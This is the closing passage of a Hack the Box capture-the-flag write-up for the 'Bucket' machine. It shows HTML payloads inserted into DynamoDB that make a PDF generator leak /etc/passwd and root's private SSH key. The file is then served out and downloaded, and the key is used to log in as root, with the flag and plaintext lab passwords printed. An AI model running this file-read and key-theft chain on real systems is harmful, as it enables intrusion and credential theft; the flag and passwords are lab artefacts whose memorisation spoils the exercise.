┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws dynamodb put-item \    
    --table-name alerts \
    --item '{                
        "title": {"S": "Ransomware"},                                           
        "data": {"S": "<html><head></head><body><img src='/etc/passwd'></img></body></html>"}
      }' \                                                                 
    --return-consumed-capacity TOTAL --endpoint-url http://s3.bucket.htb

Next I created the item in the database that matched what the PHP script was looking for. I set the title attribute to be Ransomware. For the data field I had to make sure that it contained HTML code. As a test I made it load /etc/passwd to make sure it worked.

I had to do my local file injection attack using an iframe rather than in an image tag

1
2
3
4
5
6
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}

After inserting my data into the table I got back a reply that simple said that I had consumed 1.0 “CapacityUnits”.

1
roy@bucket:/var/www/bucket-app/files$ curl --data "action=get_alerts" http://localhost:8000/

I used curl to connect to the endpoint to trigger the PHP script to pull the data from the database and make the PDF file in /var/www/bucket-app/files/.

1
2
3
roy@bucket:/var/www/bucket-app/files$ python3 -m http.server 8090
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
10.10.14.158 - - [15/Mar/2021 02:49:49] "GET /result.pdf HTTP/1.1" 200 -

I used Python to host an HTTP server to serve the PDF file externally.

1
2
3
4
5
6
7
8
9
10
11
┌──(zweilos㉿kali)-[~]
└─$ wget http://10.10.10.212:8090/result.pdf
--2021-03-14 22:40:00--  http://10.10.10.212:8090/result.pdf
Connecting to 10.10.10.212:8090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1400 (1.4K) [application/pdf]
Saving to: ‘result.pdf’

result.pdf                100%[====================================>]   1.37K  --.-KB/s    in 0s      

2021-03-14 22:40:00 (26.2 MB/s) - ‘result.pdf’ saved [1400/1400]

And using wget on my machine I was able to download the PDF file. This whole cycle had to be repeated many times as the files folder and the database table were cleared regularly and often.

A PDF file with the contents of /etc/passwd in it

After getting the correct file I opened it and found that it did indeed contain the contents of /etc/passwd.

Getting root’s SSH key

1
2
3
4
5
6
7
8
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ aws dynamodb put-item \    
    --table-name alerts \
    --item '{                
        "title": {"S": "Ransomware"},                                           
        "data": {"S": "<html><head></head><body><iframe src='/root/.ssh/id_rsa'></iframe></body></html>"}
      }' \                                                                 
    --return-consumed-capacity TOTAL --endpoint-url http://s3.bucket.htb

I again added an item to the database, this time trying to see if I could get root’s SSH private key.

1
2
3
4
5
6
{
    "ConsumedCapacity": {
        "TableName": "alerts",
        "CapacityUnits": 1.0
    }
}

I got back the same result message about consuming units. I went through the same steps as with the /etc/passwd PDF using curl, Python, and wget to create, host, and exfiltrate the file back to my machine.

A PDF file containing the contents of root's private SSH key

After opening the PDF file, I found that I now had root’s private SSH key. I copied the contents to a blank file and named it root.key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ ssh root@10.10.10.212 -i root.key        
The authenticity of host '10.10.10.212 (10.10.10.212)' can't be established.
ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.212' (ECDSA) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'root.key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "root.key": bad permissions
root@10.10.10.212's password: 

                                                                                                       
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ chmod 600 root.key

Protect your private keys!

Root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌──(zweilos㉿kali)-[~/htb/bucket]
└─$ ssh root@10.10.10.212 -i root.key
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-48-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 15 Mar 2021 03:09:12 AM UTC

  System load:                      0.01
  Usage of /:                       33.6% of 17.59GB
  Memory usage:                     28%
  Swap usage:                       0%
  Processes:                        261
  Users logged in:                  0
  IPv4 address for br-bee97070fb20: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.212
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:654c

 * Kubernetes 1.19 is out! Get it in one command with:

     sudo snap install microk8s --channel=1.19 --classic

   https://microk8s.io/ has docs and details.

229 updates can be installed immediately.
103 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Feb  9 14:39:03 2021
root@bucket:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
bucket
root@bucket:~# ls -la
total 76
drwx------ 11 root root 4096 Sep 24 04:09 .
drwxr-xr-x 21 root root 4096 Feb 10 12:49 ..
drwxr-xr-x  2 root root 4096 Sep 23 03:19 .aws
drwxr-xr-x  3 root root 4096 Sep 16 12:47 backups
lrwxrwxrwx  1 root root    9 Sep  4  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5  2019 .bashrc
drwx------  3 root root 4096 Sep 23 04:35 .cache
drwxr-xr-x  3 root root 4096 Sep 21 12:46 .config
-rw-r--r--  1 root root  217 Sep 24 02:18 docker-compose.yml
drwxr-xr-x  7 root root 4096 Mar 15 03:10 files
drwxr-xr-x  3 root root 4096 Sep 21 12:36 .java
drwxr-xr-x  3 root root 4096 Sep 24 02:21 .local
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rwxr-xr-x  1 root root 1694 Sep 24 04:09 restore.php
-rwxr-xr-x  1 root root  381 Sep 24 02:33 restore.sh
-r--------  1 root root   33 Mar 15 00:51 root.txt
drwxr-xr-x  3 root root 4096 May 18  2020 snap
drwx------  2 root root 4096 Sep 21 11:44 .ssh
-rwxr-xr-x  1 root root  340 Sep 24 02:40 start.sh
-rwxr-xr-x  1 root root  182 Sep 24 02:08 sync.sh

A setting up the key and logging into the machine using SSH, I was logged in a root. In the /root directory I saw a few automation scripts that probably were causing all of the redundant work earlier…

1
2
root@bucket:~# cat root.txt
57aa1314cfc55966d346fab64d381711

First, I collected my proof.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@bucket:~# cat start.sh 
#!/bin/bash
cd /root &&  docker-compose up -d
sleep 20
aws --endpoint-url=http://localhost:4566 s3 mb s3://adserver
aws --endpoint-url=http://localhost:4566 s3 sync /root/backups s3://adserver
sleep 20
aws --endpoint-url=http://localhost:4566 s3 mb s3://adserver
aws --endpoint-url=http://localhost:4566 s3 sync /root/backups s3://adserver
root@bucket:~# cat restore.sh 
#!/bin/bash
sleep 60
aws --endpoint-url=http://localhost:4566 s3 rm s3://adserver --recursive
aws --endpoint-url=http://localhost:4566 s3 rb s3://adserver
aws --endpoint-url=http://localhost:4566 s3 mb s3://adserver
aws --endpoint-url=http://localhost:4566 s3 sync /root/backups/ s3://adserver
rm -rf /var/www/html/*
cp -R /root/backups/index.html /var/www/html/
/root/restore.php
root@bucket:~# cat sync.sh 
#!/bin/bash

rm -rf /root/files/*
aws --endpoint-url=http://localhost:4566 s3 sync s3://adserver/ /root/files/ --exclude "*.png" --exclude "*.jpg"
cp -R /root/files/* /var/www/html/

After looking through the scripts, I saw that I was correct. These scripts were set up to clear files and keep things running smoothly on the machine since it was most likely being exploited by multiple users at the same time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
root@bucket:~# cat restore.php 
#!/usr/bin/php
<?php
require '/var/www/bucket-app/vendor/autoload.php';
date_default_timezone_set('America/New_York');
use Aws\DynamoDb\DynamoDbClient;
use Aws\DynamoDb\Exception\DynamoDbException;

$client = new Aws\Sdk([
    'profile' => 'default',
    'region'  => 'us-east-1',
    'version' => 'latest',
    'endpoint' => 'http://localhost:4566'
]);

$dynamodb = $client->createDynamoDb();
$params = [
    'TableName' => 'alerts'
];
$tableName='users';
try {
$response = $dynamodb->createTable([
        'TableName' => $tableName,
        'AttributeDefinitions' => [
                [
                        'AttributeName' => 'username',
                        'AttributeType' => 'S'
                ],
                [
                        'AttributeName' => 'password',
                        'AttributeType' => 'S'
                ]
        ],
        'KeySchema' => [
                [
                        'AttributeName' => 'username',
                        'KeyType' => 'HASH'
                ],
                [
                        'AttributeName' => 'password',
                        'KeyType' => 'RANGE'
                ]
        ],
        'ProvisionedThroughput' => [
             'ReadCapacityUnits'    => 5,
             'WriteCapacityUnits' => 5
        ]
]);

$response = $dynamodb->putItem(array(
    'TableName' => $tableName, 
    'Item' => array(
        'username'   => array('S' => 'Cloudadm'),
        'password'  => array('S' => 'Welcome123!')
    )
));

$response = $dynamodb->putItem(array(
    'TableName' => $tableName, 
    'Item' => array(
        'username'   => array('S' => 'Mgmt'),
        'password'  => array('S' => 'Management@#1@#')
    )
));

$response = $dynamodb->putItem(array(
    'TableName' => $tableName, 
    'Item' => array(
        'username'   => array('S' => 'Sysadm'),
        'password'  => array('S' => 'n2vM-<_K_Q:.Aa2')
    )
));}
catch(Exception $e) {
  echo 'Message: ' .$e->getMessage();
}
$result = $dynamodb->deleteTable($params);

This php file automated the creation and set up of the database tables with all of the juicy information I had found in the users table.

Hack the Box popup message showing proof that I had finished this machine

Thanks to MrR3boot for exploring this topic of cloud enumeration and attack. This is a difficult topic to cover with Hack the Box, since each machine needs to be self-contained, but this instance was a great way to learn about the AWS CLI and how to use it to enumerate S3 buckets.

If you have comments, issues, or other feedback, or have any other fun or useful tips or tricks to share, feel free to contact me on Github at https://github.com/zweilosec or in the comments below!

If you like this content and would like to see more, please consider buying me a coffee!

This post is licensed under CC BY 4.0 by the author.